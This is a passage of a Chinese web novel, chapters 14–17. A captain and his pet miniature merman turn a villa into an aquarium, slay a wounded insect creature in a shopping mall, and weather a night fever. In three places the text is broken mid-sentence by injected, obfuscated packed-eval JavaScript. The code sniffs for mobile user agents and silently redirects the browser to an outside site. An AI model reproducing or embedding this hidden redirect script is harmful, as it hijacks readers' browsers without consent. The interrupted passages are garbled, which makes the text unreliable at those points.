但现在养了小人鱼,很多地方自然是要考虑到小人鱼的喜好和需求。 家里别墅(×)小人鱼的玩具城堡(√) 冰冰冷冷的家,变成了小人鱼超大的完美鱼缸。 14.第 14 章 入住这么久以来,傅青桁第一次认真的想把这栋别墅装修成家。 以前的别墅与他而言,跟酒店的差别可能就是不用按时间续房费,工作和别墅两点一线,到时间经历一些事去死,死后再重新回到一切开端。 别墅内装修大规模变化,傅青桁视线扫过也有一瞬间的怔愣。 感觉,好像在无形之中和之前枯燥乏味的日常产生了差别,但他身处其中,又好像仍然在留在重叠的回忆中,交错的记忆和现实重合,是真是假,让傅青桁阵阵恍惚。 精神力波动太过明显,虞淮辞从所剩不多的水中浮上来,掌心拍了拍傅青桁的手腕,“咿呀?” 小人鱼冰凉的体温让傅青桁回神,抵在鱼缸外的指尖微蜷,低下头问道:“怎么了?” 虞淮辞指了指楼下, “嗯……” 有人敲门。 家用机器人没有收到指令还在楼下打转。 虞淮辞又低低‘呜’了一声,敲了好几下了。 安装电梯的工人刚出门,傅青桁还以为对方折回来有事。 但到了楼下,显示屏里没有工人,下属的脸占了全部画面。 门一开,下属正了正帽子,“傅队。” “闻斯宇?”傅青桁蹙眉道:“有事?” 傅青桁所处机构是专门针对主星及周围的保护与防御,没有虫族大规模进攻的情况下,日常工作是巡查各处,排查虫族出没的痕迹。 机构属于官方,傅青桁毕业于联邦第一军校,属于是被分过来的。 比起加入军团,亲身上战场,这份工作可以说是相差甚远,走正规途径没什么上升空间。 这也是傅晖想看到的,也是他一手造成的。 一个联邦高层,想卡一个毕业生的未来方向非常简单。 虞淮辞单手撑着下颚,看看陌生人,再看看傅青桁,他对傅青桁的工作是有相当清晰的了解的,属于是说出去稳定如公务员,抵御虫族保护主要星球的最后一道防线。 说着好听,赚的不多还累人看不见未来。 虞淮辞撇撇嘴,傅晖是真阴,改成傅暗才对。 傅青桁转身进屋,“进来说。” 一直开着门,屋里的凉气都散出去了。 温度过高小人鱼会不舒服。 闻斯宇应了一声,跟着进来顺手关上了门。 只是走进来一看,闻斯宇整个人:“???” 哇塞。 这是家吗,不知道的进门还以为是进了水族馆。 随处可见的鱼缸,靠墙还有个到二楼楼梯的大鱼缸,海洋元素的小型电梯。 除了没有鱼和海洋生物以外,这简直就是个水族馆。 “傅队你、最近换风格了?”闻斯宇跟傅青桁共事这么久,不能说关系很好吧,但也是整个队伍里和傅青桁交流最多的了,以前也不是没来过别墅这边,当时别墅也不是这个样啊。 傅青桁轻抬下颚,“好看吗。” 再怎么迟钝的一个人也能意识到这个时候该说些什么,闻斯宇当即开口,“那是相当好看。太有氛围感了。但是傅队……” 闻斯宇实在是忍不住好奇问道:“您打算养多少小人鱼啊?” 这么多鱼缸,再多点都能和人鱼繁育基地比比数量了。 “多少?”傅青桁蹙眉,“我只养小白。” 闻斯宇茫然脸。 看看巴掌大的小人鱼,再看看能淹死三个他的鱼缸。 而且还不止这一个鱼缸。 闻斯宇嘴唇颤抖,这就是有钱人的世界吗,禁不住碎碎念,“直接放水把别墅全淹了,自己搬出去住,别墅留给小人鱼好了。” 还省了买鱼缸的钱。弄个防护罩什么的,水淹别墅不让水流出去还是能做到的。 傅青桁听的真切,“说什么胡话呢。” 闻斯宇意识到自己把心里话说出来了,嗨,真是一时吐槽没收住,“不好意思傅队,我……” 傅青桁说:“我肯定得和小人鱼住一起。” 怎么可能分开住。 闻斯宇:“……” 昂? 原来傅队你介意的是这个点啊。 ……这不对吧。 傅青桁曲起指尖敲了敲桌面,“说正事。” “哦、哦对……”闻斯宇大脑宕机,反映了一下说:“我们的探测仪在C区捕捉到了虫族精神力波动,但是这个波动起伏有点奇怪,黎弘和阿阳上午一起去的C区,回来以后就昏迷不醒,一直到现在还在ICU。” 他们出任务的时候都会随身携带便携式针孔摄像头,比指甲盖还要小好几倍的精妙仪器卡在衣领或者贴在哪,非常隐蔽,还能全程录音录像。 以前也没出过什么大事,偏偏就这次,安装角度正常的摄像头一片漆黑,视频记录里更是什么都么有。 人自己走回来。 闻斯宇当时看见两个队友回来,还以为任务圆满完成了呢,谁知道见面一句话都没来得及说,这俩人齐刷刷的栽倒。 要不是他反应快,两个队友脸朝地摔下去,还得添新伤。 人不明原因昏迷,身体上还无外伤。 闻斯宇都懵了。 现在这种情况,他也不敢随意再安排别人过去,不清楚具体怎么回事的时候再派人过去,无异是推队伍里的人去送死。 但是异常点一直存在,他们作为保护者又不能装作看不见,等异常点扩大发展起来,事情只会更麻烦。 拿不定主意的闻斯宇只能来找傅青桁。 作为队长,傅青桁的权利比他大。 他们队伍实在处理不了的话,申请军区帮助也得要傅青桁开权限,反正都是要过来的,闻斯宇也就没耽误,直接一步到位。 傅青桁说:“把相关资料发给我。” 只靠闻斯宇语言描述,很难分析出具体什么情况,还是得看数据。 闻斯宇过来自然是把所有东西都准备好了的,纸质的数据文件夹递过去,“我来之前给您发了消息,但三两句话打字说不清楚,事情又比较急,我就直接登门拜访了。” 傅青桁翻了一页,“医院那边有人盯着吗?” 闻斯宇点了点头,“小郑在陪床,我跟她说了,要是醒了或者有什么其他事立刻联系我。” 傅青桁说:“地址发我,我去看看。” 闻斯宇一边编辑地点一边同步发地图定位,“需要叫人陪您一起去吗?” “咿呀!”鱼缸里,银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463130|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白色的小人鱼举起了手。 我我我! 叫我叫我! “不用。”傅青桁垂眸,掌心向下想把跃跃欲试即将跳缸的小人鱼挡住,结果手刚伸过去,小人鱼微凉带着湿意的手就握住了他的小指指尖。 “你在家等……”傅青桁话一开口便顿住,要把小人鱼自己留在家里面吗? 那样会不会太危险了。 可是去到现场好像更危险。 留在家里要是遇不到‘入室抢劫盗窃’‘傅晖找人报复’‘鱼缸装水后突然爆炸导致小人鱼离开水源他不能及时赶回来’‘小人鱼跳缸’‘他不带小人鱼出门,小白气急呛水……’ 等等等等,一系列的可能遇到的风险,全部抹除的话。 就可以放心的把小人鱼留在家里了。 在有极高风险的情况下,要把小人鱼自己留在家里面吗。 闻斯宇想了想,建议说:“傅队,要不我叫个人过来照顾人鱼?” 傅青桁拒绝了这个提议,队伍里的人只是同事关系,他依旧不放心小人鱼。 “呜?”虞淮辞察觉到傅青桁在纠结要不要带着他,直接改成两只手抓住傅青桁,顺势抱上去,往手背上趴。 不带我吗? 那怎么能行呢!! 你知不知道家里有多危险。 银白色的小人鱼指了指门口,又指了指自己,然后手一伸,对着自己的脖子横着划过。 懂了嘛? ‘这要是外面来个人杀我,那我肯定嘎巴一下就死这。’ ‘毫无反抗之力呀。’ ‘非常弱小可怜还无助。’ 可能傅青桁自己不知道,暗处其实有很多双眼睛盯着他呢。 很多期盼的目光等着他滑落深渊。 虞淮辞对于自己现在的战斗力还是有一个清楚的认知的。 即使没有人在傅青桁不在的时候偷袭他。外面随便来个什么人,把他偷出去卖掉怎么办。 ——小人鱼还是很值钱的! 黑市里还有拍卖的呢。 可以说是身价很高了。 比很多宝石都要值钱。 傅青桁原本陷入自己的思绪,奈何小人鱼挥舞手臂和各种小动作不断,非常引人注目……视线不知不觉就落到了银白色的小家伙身上。 灵活的身形,灵动的表情像是在表演舞台剧。 可爱。 傅青桁温柔笑着,拇指指腹揉搓着小人鱼的头发:“你跟我一起去。” 不把小人鱼放在眼前还是不放心。 危险太多了。 各式各样的。 危险。 带在身边,最起码能保证,在他咽气之前,小人鱼是绝对安全的。 虞淮辞点点头,“呜!” 好诶! “你先在这待着。”傅青桁把小人鱼放在衬衫胸前的口袋里,侧兜有点太低了。 衬衫的口袋有点小,但蜷一下还是可以缩进来的。 傅青桁拿起外套随意披在肩上,“走。” 闻斯宇也同时起身跟上。 银白色小人鱼在傅青桁胸前口袋露出一个脑袋,高举起手,“咿呀!” 出发出发! 15.第 15 章 去现场就不方便抱着个带水的鱼缸了。 好在人鱼不像普通金鱼那样,离开水坚持不了多久,还是可以正常用肺呼吸的。 虞淮辞躺在傅青桁口袋里面,感觉像是窝在睡袋里,被包裹着感觉还蛮不错。 外面的小风一吹,可比在别墅里自己玩水舒服多了。 闻斯宇说:“傅队,我跟您一块去吧,我来开飞行器。” 他开飞行器来的,事发到现在他还没去到现场看过呢,作为副队长,怎么说也该去一趟,要不说不过去。 傅青桁见状收起地图导航坐上后排。 闻斯宇在前面启动飞行器。 飞行器没有启动的时候两侧有支架,像是停靠在地面,启动时支架会自动收起,同时向上悬浮。 体型比常见的轿车小一点,但更显轻盈。 轻飘飘的悬出高度,没有直接与地面接触,也就没有轮胎与石子坑洼的卡顿感,整体坐起来的感觉比坐车要轻很多。 虞淮辞在悬浮车里左看看右看看,陌生的交通工具能带给他新鲜感,旁边窗外的景色飞速倒退,身处飞行器中,并不能感觉得到速度到底多块,平稳的像是在坐高铁。 “在看什么?”傅青桁看完任务报告,放下手机就见小人鱼盯着玻璃窗一动不动,伸出去的手隐隐有向外够的感觉。 “呜……”虞淮辞看见玻璃上撞死只虫子,挂在那有点影响他开风景。 他收回手,一个动作间,飞行器的窗户毫无预兆的打开,手势自动感应的灯闪烁。 ‘呼——’ 急速前进的飞行器,窗户一开,狂风瞬间灌了进来。 虞淮辞直接被吹了个仰倒,后脑勺直直撞上傅青桁,“诶、” 微弱的声音被风声席卷。 风在下一刻停止,傅青桁把窗户关上了。 虞淮辞晕晕乎乎的,缓缓伸手扣住了自己的后脑勺——脑壳痛。 肌肉伤我。 “撞疼了?”傅青桁点点小人鱼的手背,隔着他的手找脑袋被撞上的位置。 虞淮辞随意扒拉两下自己的头发。 傅青桁也帮着整理,刚才那一阵风过来,把小人鱼的发型都吹乱了。 好在头发里的草环还在,紧急抢救一下。 闻斯宇在前面认真开飞行器,头都没回,听到后面的动静不免好奇发生了什么,偷偷瞄一眼。 就见傅青桁低着头,平时拿枪拿刀的手正一点点的,将小人鱼杂乱的头发理顺,指腹小心翼翼的带下卡在草环上的部分头发,顺着放在脸颊一侧。 好像是怕把小人鱼给扯疼了似的,每次都是捏的发梢,捻起来小人鱼没有什么反应,才会继续下一步。 嘶—— 看的闻斯宇头皮发麻。 好怪啊,同事这么久,傅青桁崇尚快速高效的解决任务,有时候杀虫族甚至都用不上机甲,手起刀落,凭借体能碾压虫族,战斗过程自始至终都是一副冷脸面瘫,砍瓜切菜似的把虫族一个个剖开。 平时也是不近人情的模样很不好惹,有时候提交工作文件,一个眼神扫过来,真的是什么都招了的感觉。 队伍里很多人有事都不敢直接找上傅青桁,都要把问题带到他这,再由他去问。 感觉,给小人鱼整理头发这个温柔耐心的行为,和傅青桁这个人很割裂。 虞淮辞双手捧着脸揉揉,刚才那一阵风把他脸都吹僵了。 你这手势控制也太敏锐了吧。 好消息,手势一动,窗户想开就开。 坏消息,手势动了,窗户不想开它自己开啊啊。 虞淮辞把手揣进口袋,只露出个脑袋在外面,正想把下巴垫在口袋边缘,就感觉脑袋被戳了。 他茫然抬头,“呜?” 下一刻,怀里被塞了一条比小人鱼体型小一倍的牛肉干。 傅青桁指腹蹭着揉揉他脑袋,安慰一下。 给小人鱼的零食准备了不少,就这几天看来,不能说完全清楚知道,也是摸出了点小人鱼的口味。 相比于鱼肉海鲜,牛肉鸡肉会更喜欢一些。 所以出门的时候,傅青桁顺手拿了一包牛肉干在身上,出去不知道几点回来,在外面临时买食物喂小人鱼他不太放心。 虞淮辞咬着牛肉干磨牙,是五香孜然味的。 小人鱼弯了弯眼睛,嗯,好吃。 …… 飞行器的速度渐渐慢下来。 闻斯宇把飞行器停好,“傅队,到了,商场三楼就是异常点。” “人员全部疏散完毕,整个商场已经戒严,我们的人把守在一楼出入口。” 越靠近异常点,精神力越容易受到影响。 有同事受伤先例,都不敢太靠近异常点守着,只能退而求其次,守好商场的几个门不允许进出也是一样的。 “嗯。”傅青桁说:“你去跟他们会和,我自己上去。” 反复重生中,傅青桁自己都记不太清遇到过多少次被背叛,久而久之也养成了自己单打独斗的工作方式。 相比于把后背交给不知道值不值得信任的队友,倒不如依靠自己。 靠别人始终是靠不住的。 闻斯宇自然是知道傅青桁的工作准则,点了点头,“好,我们人就在楼下,有事叫我们一声就行。” 虞淮辞趴在口袋边缘,下巴微扬,圆溜溜的眼睛把商场内景象尽收眼底。 两边的店铺都关着门,撤场走的匆忙,很多都只来得及把玻璃门关上挂把锁,防盗的那层都是开着的,还能看见里面的商品。 虞淮辞咬着受了点皮外伤的牛肉干,“呜……” 好怪。 那些东西上面覆盖着丝丝缕缕的……线吗? 有点像是脉络,但又没有那么细。 可能小人鱼天生就对躁动的精神力比较敏感,走进这里,虞淮辞就感觉像是走进了蹦迪的歌舞厅,耳边全是‘滋滋啦啦’的那种精神力跳动的声音。 整个商场都被笼罩在了这种躁动的氛围中。 精神力过低进到这种地方,很容易就会被影响。 医院里还没出院的可能就是因为这个。 虞淮辞仰头观察着傅青桁的神情,想了想,往后靠了些,隔着一层衬衫和他贴近,缓缓释放出灵力。 ——即便傅青桁现在还没有被能量场影响到,也可以先覆上灵力,起到一层保护的作用。 傅青桁原本在警惕的打量四周,观察着异常缓步朝着楼梯口走。 心口处柔和的暖意荡漾开来,灵力与繁杂混乱的能量场相冲,明显的能量波动压下异常。 傅青桁曲起指尖,蹭掉小人鱼嘴角的肉丝,“不用担心我,我没事。” 虞淮辞拍拍他的手,“咿呀。” 我这是防患于未然嘛。 要是遇到危险再临时释放灵力,他不知道来不来得及在瞬间将傅青桁整个包裹。 先释放一些也没差。 随着楼层越往上,异常的能量波动也越明显。 那些丝丝缕缕的线也越清晰。 所有的线都来自同一个方向,一个漆黑如山高壮的虫族,趴在废墟上。 坚硬的外壳泛着寒光,似乎是后背朝向楼梯,看不见脸,有点像是用最高防御抵挡,脑袋和其他身体脆弱的地方藏了起来。 ‘啪嗒’ 虞淮辞嘴巴微微张开,牛肉干掉进了口袋,“呜——” 他圆溜溜的眼睛亮亮的,银白色的眼眸中满是黑色的影子。 活的!虫族! 这东西虞淮辞只在科幻片里听过,虚假的靠导演想象做出来的假东西,跟在现实中亲眼看见差距还是挺大的。 如果不是虞淮辞现在是人鱼不好走路,他都想靠近了仔细看看。 这虫族真的挺大一只,商场的屋顶都是好的,也不知道是怎么进来的。 傅青桁往前走了几步,察觉到动静的庞然大物有了动作,会飞的虫族没有振翅,而是缓缓转动笨拙的身体,一双透着精光的兽瞳死死盯着靠近的,不知死活的人类。 傅青桁被虫族盯着依旧神色淡淡。 在他看来,这只虫族已经是强弩之末。 似乎是那天进攻人鱼繁育基地落跑的几只其中之一。 当时跑掉的那几只或多或少都受了重伤,以至于眼前这只虫族维持不住人形,或许是人形时躲在商场,后来实在控制不住,虫身暴露加上能量异常被盯上。 但凡还可以移动,这只虫族都不会继续蜗在这躲着。 “滋吱——!”半死不活的虫族发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468883|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出尖锐的鸣叫声。 调动周遭能量波动,试图将傅青桁逼退。 傅青桁一拢外套,反手抽出匕首,“小白,进去。” 对付虫族,远距离使用伤害高的热武器,近距离像是粒子枪那些并不能攻破虫族的防御壳,反倒是刀,匕首之类的冷兵器,找准机会刺入虫族死穴,要杀的更简单一些。 “呜!” 好! 说进去就进去。 虞淮辞毫不拖泥带水。 虽然可以预见到傅青桁杀虫族很帅,但避免傅青桁在战斗期间还要注意他这边分神,老实躲好才是正事。 难道看不见傅青桁击杀虫族有多帅就不能夸了吗? 必不可能。 虞淮辞在口袋里舒舒服服的蜷缩着,听着外面‘叮叮当当’的不明碰撞声音,感觉打的蛮激烈的。 脑子里天马行空已经开始在脑海里思考,一会战斗结束以后要怎么夸傅青桁了。 包辞藻华丽,语句优美的。 傅青桁的攻击幅度很大,虞淮辞安安稳稳的窝在口袋里,一刻不停的释放灵力。 就像是一个随身携带的移动泉水。 回血回体力回精神力。 三项全能。 灵力用的多了,虞淮辞越来越得心应手。 而且,灵力天克精神力躁动,而虫族最擅长的就是调动精神力摧毁人类的精神识海,有些虫族甚至可以做到同时影响一群人,大规模的精神力摧毁是非常致命的。 ‘叮——’ 一声脆响,傅青桁停下了动作。 在口袋里专心释放灵力的虞淮辞顿了顿,狐疑的探出脑袋往口袋缝隙外望去,杀死虫族了吗? 这么快? 傅青桁也太强了叭。 还没等看清外面的景象,虞淮辞视线内突然周围一片漆黑,斑驳的红色线条缓缓浮现,在黑色的背景下纵横交错,凝成一股利刃对准了傅青桁。 “?!!” 虞淮辞探身出口袋,一眼就看见傅青桁手握匕首卡在虫族身上,再转过头,就在傅青桁背后,那抹红色的利刃仍旧存在。 傅青桁却毫无反应。 虞淮辞眨了下眼睛,那似乎是异常能量凝结起来的,傅青桁看不见。 ‘嗖’ 红色的线条直刺过来,傅青桁似有所觉的回头,即使什么也没看见,骤然暴起的精神力也做好了应战的准备。 察觉到傅青桁的精神力,虞淮辞忙伸手触碰他的脖颈,“咿呀。” 同时往前一扑,半趴在傅青桁肩上,掌心散开的灵力与异常精神力对冲。 这个不行哦。 偷袭是不对的。 锋利的刀刃悬于半空不能再向前移动半分。 这是异常精神力凝结出的一股利刃,在灵力的冲刷下分崩离析,重新恢复了数到线的样子。 虞淮辞一边清理这些线,一边给傅青桁平复精神识海。 散落的细线仍漂浮在半空,似乎仍遵循着主人的命令,努力往傅青桁的方向靠。 受伤住院的那两个人大概率也是被精神力偷袭了,伤到了精神识海才醒不过来。 虞淮辞感觉有点危险,避免傅青桁本就不稳定的精神识海被影响到,他伸着手这边拍拍,那边拍拍,“呜……” 不行不行都不行。 离傅青桁远一点。 全部消失。 抹除。 ‘唰’ 虞淮辞手抓着扯住一条,随手团成球丢出去,走你。 傅青桁不知道小人鱼在干什么,但能感觉到小人鱼一直在释放灵力,再加上刚才一瞬间,身体本能觉察危险的气息,却什么也看不见。傅青桁没有多做思索就猜到肯定是小人鱼做了什么。 见小人鱼手上忙活不停,他反手扣住肩上的小人鱼,一跃跳到虫族身上。 ‘噗’ 匕首顺着缝隙撬开虫族坚硬的外壳穿透心脏。 原本就虚弱的虫族抽搐了几下就没了动静。 ‘啪啪啪啪’ 一连串的掌声响起。 傅青桁低头,正对上小人鱼笑意盈盈的眼眸。 “咿呀!” 好帅! 赢啦! 我们两个可真厉害。 16.第 16 章 “辛苦了。”傅青桁能感觉到飘荡在空气中的稀薄的灵力。 星星点点的暖意覆在身上感觉不到重量,却像是一股暖流随处不在。 小人鱼刚才手动个不停,想必也是在帮他。 傅青桁的精神力是经过实验强化过的,虽然有时会失控反伤自己,但大多时候,攻击性高于所有人的精神力,可以做到和虫族的精神控制系正面冲撞。 如果别人的精神力和虫族对抗,虫族是矛,别人是盾,这面盾牌一旦破损,精神识海受伤破损,人就会陷入昏迷。 傅青桁的精神力也是矛,侧重点全在攻击上,一点不防,强悍的精神力直接碾压。 好用,却也同样的会带来反噬。 反噬伤身这种事,习惯了就好,反正一时半会死不了人,顶多是难受一下,回去睡一觉,醒来一切都会恢复。 只是精神力反噬之下,暴躁的精神力在身体里游走,像是锋利的刀刃划过,不会留下伤口,却会有着清晰的痛感,往往这种时候,根本无法入睡。 睁着眼睛,清晰的感受着身体一寸寸刀割的痛感,直到精神力自己平复下来。 傅青桁已经记不清他熬过多少个这样的夜晚了。 出任务用到精神力是不可避免的。 这次…… 傅青桁指尖微蜷,抬手小心翼翼去触碰肩上的小人鱼。 这还是第一次,在战斗结束后,精神力安静的藏匿于精神识海。 陌生的感觉让傅青桁一阵恍惚。 虞淮辞摸摸他脸颊,“咿呀?” 怎么呆住了? 是不是被我精准的灵力操控帅到了? “小白很厉害。”傅青桁瞧着小人鱼那下颚轻抬一脸骄傲的样子,脱口而出就是一句夸赞。 不是哄小人鱼的那种夸,是认真的走心的夸。 确实很厉害。 人鱼繁育基地的小人鱼都是人工繁殖来的,除了基地建立之初有过几条野生人鱼之外,全部都是人工繁殖。 自从最初的野生人鱼全部去世,人鱼繁育基地那边似乎急于再捕捉一些野生人鱼来改善血脉,奈何找不到。 或许因为原始血脉随着一代代下来,越来越稀薄,直接影响到了小人鱼与生俱来的灵力。 能够主动释放灵力的小人鱼都很少,更何况他家小白,还能用灵力去顶空气中的精神力。 简直就是灵气稀薄的大地上孕育出的天之骄子……人鱼。 虞淮辞轻‘嗯’了一声,满意的点点头。 对,就这样夸我。 随着虫族的死亡,弥漫的异常点也同时消散。 地上虞淮辞丢了不少系成团的,拍成块的精神丝,颜色也在一点点变淡。 “呜……”虞淮辞坐在傅青桁肩上,指了指那只已经死透了的虫族。 这个怎么办? 算战利品吗? 是不是归我们呀? 可能是药剂做久了,看到什么新鲜玩意,想到的第一件事都是看能不能入药。 虞淮辞对虫族了解不多,但就看它那坚硬的外壳,拿回去肯定能找到用处。 傅青桁说:“尸体留在这会有人来处理。” “啊、”虞淮辞握着他的发梢。 不是这个意思呀。 “嗯?”傅青桁猜测道:“你想要?” 小人鱼‘唰唰’点头。 虫族的尸体都会统一销毁,没什么用。 小人鱼喜欢的话,带回去也不是不行,但肯定不是现在立刻拽回去,刚死没多久的虫族还是有点危险的。 像是毒蛇斩掉脑袋以后,短时间内还是可以咬人。 在对待虫族的事上,不能马虎。 傅青桁想了想说:“那我回头让他们处理干净送家里去。” “咿呀!” 好! 小人鱼在肩上坐的很稳,傅青桁也没急着把他拿下来。 口袋里看不见什么风景,反正事情已经解决了,回去就让小人鱼在肩膀上待着也没什么。 楼下。 闻斯宇站在楼梯口,左右徘徊着,时不时抬头看向上面。 系统上显示异常点已经消失,那应该就代表问题解决,可傅青桁一直没有下来,他也不知道该不该上去找。 万一系统出问题,或者是虫族还有后手,他上去又怕撞枪口上。 在下面犹犹豫豫都不记得自己转了多少圈,总算是看见有人影下来,闻斯宇马上迎了上去。 “傅队。”闻斯宇的目光不由自主的落在傅青桁肩上,正捏着他头发缠着玩的小人鱼身上,嘴里的话却没停下,“那只虫族解决了吗?需不需要向上层求援?” 傅青桁说:“不用,已经死透了。尸体给我留着。” 闻斯宇一愣,尸体? 虫族的尸体吗。 见傅青桁一脸正色,不像是在和他开玩笑的样子。 闻斯宇想,可能是这只虫族的攻击比较怪异,或者什么其他原因,吸引到了傅青桁的注意力,想把尸体带回去仔细研究吧。 研究虫族尸体这种事非常普遍,闻斯宇也没多想,只应声说:“收到。” --- 回来路上下了雨。 到晚上,雨势越来越大。 深夜休息时,仍能听见窗外雨水拍打窗户的声音。 夏末入秋的这段时间,主星的雨一直下个不停。 卧室内的吊灯已经关了。 巨大的双人床上,傅青桁睡在了靠近床头柜的一侧。 踢脚线灯带上亮着微弱的光。 映着床头柜上的鱼缸。 虞淮辞趴在海藻床上,百无聊赖的咬着海藻。 傅青桁已经睡了,虞淮辞却不知道什么原因有点失眠,可能是今天灵力波动太大,精神有些亢奋吧。 毕竟,老老实实的待在鱼缸里待久了,加入一场酣畅淋漓的战斗,还是挺令他开心的。 今天虞淮辞并不打算像昨天那样睡在超大鱼缸里,抛开运动游泳不谈,睡觉的话,还是要在小一点的鱼缸里比较舒服。 不会到处乱漂,会更有安全感。 虞淮辞不想住大鱼缸,傅青桁也就没有待在外间,只是他这样只靠近一侧睡的方式,多少有点浪费另外五分之四的床了。 “唔……”傅青桁皱着眉,紧抿的薄唇吐出微弱的声息。 他平躺着,双手在被子外,交叠放在腹部。 是一个非常标准,标准到有点规则化的睡觉姿势。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472279|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虞淮辞看着都感觉难受,事实上……抛开睡姿不谈,傅青桁现在看起来就是很不舒服的样子。 只是、 他尝试着去感应精神力。 没有任何精神力波动,傅青桁此时此刻的精神识海很稳定。 那就很奇怪了。 虞淮辞抿了抿唇,如果精神识海没问题的话,傅青桁现在睡的这么不安稳,是怎么回事? “咿呀?” 傅青桁?醒醒。 虞淮辞冒出水面,叫了傅青桁一声。 傅青桁没有反应,只是眉头似乎皱的更紧了,呼吸都变沉了几分。 虞淮辞有些不明所以,傅青桁现在看起来真的很像精神力躁动不安。 难不成是因为没有接触,离的太远,对精神力的感知有所下降? 虞淮辞打了个响指,还真有这个可能。 幸好今晚换了房间,要是住在外间那个大鱼缸里面,他想跳出来,无意于脱绳蹦极——虽然是朝着床上跳的,但傅青桁的床都是硬床垫,不是那种厚实的软垫,太高的地方掉下来,虞淮辞感觉自己会摔成鱼饼。 虞淮辞借着水的浮力,手撑住鱼缸边缘的同时往前冲,银白色的鱼尾带着点点水渍摔落在了枕头上。 柔软的枕头被砸下去一条小人鱼的形状,只有与布料碰撞的微弱声响,半点没有惊扰到沉睡的傅青桁。 虞淮辞鱼尾顺着枕头边缘垂下,陷在凹陷里稳稳坐好,伸手去摸傅青桁的太阳穴。 这里是离精神识海最近的地方。 在触碰到的瞬间,虞淮辞愣住了。 好烫。 傅青桁好像发烧了。 不知道是不是因为人鱼体温太低,还是什么其他原因,总之傅青桁摸起来格外的烫手。 可能是回来的路上淋了雨的缘故。 保险起见,虞淮辞释放了些许灵力,检查了一下精神识海,确定没事才收回了灵力。 只是……灵力只针对精神力有用。 这可咋办。 虞淮辞推了推傅青桁,沉睡中的人好像陷入了梦魇。 又做噩梦了吗? 或许是因为傅青桁背负太多,连睡觉都不安稳。 虞淮辞勘破不了梦境,往傅青桁身边蹭蹭,想了想,干脆直接趴在了傅青桁的额头上。 ——物理降温也是降温! 起到了一个退热贴的作用。 人鱼的体温比退热贴还要冰凉。 虞淮辞刚才还在怀疑,现在是彻底确定了,傅青桁是发烧了没错,体温比白天摸脸的时候高很多。 噩梦加上高烧,肯定很难受。 “咿呀……”这样不行。 你得醒醒呀。 虞淮辞手贴在傅青桁眉间,帮他把紧皱的眉头抚平,“呜、” 起来吃个退烧药再睡吧。 这样睡觉非但起不到养精神的作用,反而还会消耗精力,越睡越累。 “小白?” 声音低沉又带着些许沙哑,傅青桁微眯着眼睛,有些半梦半醒间的困顿。 虞淮辞手撑在他额头上,探头过去,垂下来的发丝落在傅青桁脸上,“呜?” 你可算醒啦。 你发烧了,快起来吃点药。 17.第 17 章 傅青桁意识有些模糊,对于小人鱼的触碰没什么反应。 虞淮辞以为他还处于刚睁眼没有醒盹的状态,掌心按着他脸颊揉揉,“咿呀?” 吃药? “我死了吗……”傅青桁眯起眼睛,看着虞淮辞低声呢喃。 虞淮辞:“???” 做什么噩梦了这是。 抛开刚才的感觉,傅青桁现在更像是有点分不清梦和现实。 “呜……” 没有呀,不要胡思乱想啦,你还活得好好的呢。 只是有点发烧而已。 傅青桁自己缓了一会,逐渐从刚才的噩梦中脱离出来,看着不知道什么时候跳到枕头上的小人鱼,哑声开口,“小白?” 傅青桁已经习惯了小人鱼出现在鱼缸外的任何地方。 鱼缸上的防跳盖对于普通鱼类来说,用处很大。 但对于小人鱼来说……加把锁在上面,都可能连锁带盖都给你创飞。 傅青桁指尖抵在小人鱼的尾巴上,不算太干,应该刚跳出来没多久。 “离开水很危险。”傅青桁坐起身,掌心捧起小人鱼送回鱼缸,“我不在的时候不要跳出来。” 傅青桁起身时感觉到一阵眩晕,后知后觉发现体温有些许不对,他手背触碰额头,“有点低烧。” 虞淮辞听后歪了下头,低烧吗。 可能是人鱼体温偏低,对于体温变化感受比较敏感。 傅青桁额头上还有些没有干透的水。 他默了一瞬,脑海中闪过记忆片段,梦境繁杂让人分不清真假,清醒过来还要将现实记忆剥离,刚才睡梦中,好像是感觉到额头有些冰冰凉凉的感觉,“小白刚才在帮我降温吗?” “咿呀。”虞淮辞尾尖轻晃,主要还是把你叫醒,降温是辅助手段。 傅青桁勾了勾嘴角,指腹蹭蹭小人鱼的头发,“谢谢,但下次不许这样了。” 他正色道:“我要是再晚醒一会,你要被烤成干了。” 虞淮辞丝毫不慌的拍拍他的手,放心,我很有分寸的。 大不了回去鱼缸沾点水,再不济还可以把你叫醒嘛。 干不了一点。 就当是蒸桑拿了。 非常养生。 小人鱼在那‘咿啊呀呜’一顿,声音突出一个抑扬顿挫。 傅青桁一个字都没有听懂。 但……小人鱼应该是在反驳他的话、大概? 傅青桁点点小人鱼脑袋,“睡觉?” “呜?”虞淮辞抬起头。 不吃点药吗? 就这么直接就睡下啦? 